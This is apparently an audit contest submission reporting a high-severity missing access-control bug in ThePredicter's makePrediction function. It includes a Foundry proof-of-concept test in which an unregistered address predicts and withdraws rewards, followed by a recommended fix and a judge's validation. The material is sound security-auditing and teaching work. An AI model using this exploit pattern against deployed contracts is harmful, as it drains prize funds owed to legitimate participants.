Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Un-Approved User Predictions

Finding 3: [High] Any Address Can Make Predictions

Summary:
Only users who are approved by the organizer should be able to make predictions. However, in the current implementation, any address can call ThePredicter:makePrediction without being approved, allowing unauthorized predictions.

Vulnerability Details:
The ThePredicter:makePrediction function does not check the status of msg.sender to confirm if they are an approved player. This oversight allows any address, even those not registered or approved, to make predictions. As a result, unauthorized users can potentially make predictions, and if their predictions are correct, they can claim rewards at the end of the tournament. This can deplete the prize pool, leaving legitimate participants unable to withdraw their rightful rewards.

Proof of Concept:
A test was conducted to demonstrate the issue:

function test_anyoneCanMakePrediction() public {
address stranger2 = makeAddr("2");
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
uint256 ending_balance = 0.9997 ether + 0.04 ether;
assertEq(stranger.balance, ending_balance );
}

In this test, the stranger address makes predictions directly without registering, and despite not paying the entrance fee, it can withdraw rewards if their predictions are correct.

Impact:
High

Tools Used:

  • Manual review

  • Foundry

Recommendations:

Add the following check to ensure only approved players can make predictions:

  • Add at ThePredicter: line 92:

    + if (playersStatus[msg.sender] != Status.Approved) {
    + return;
    + }

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.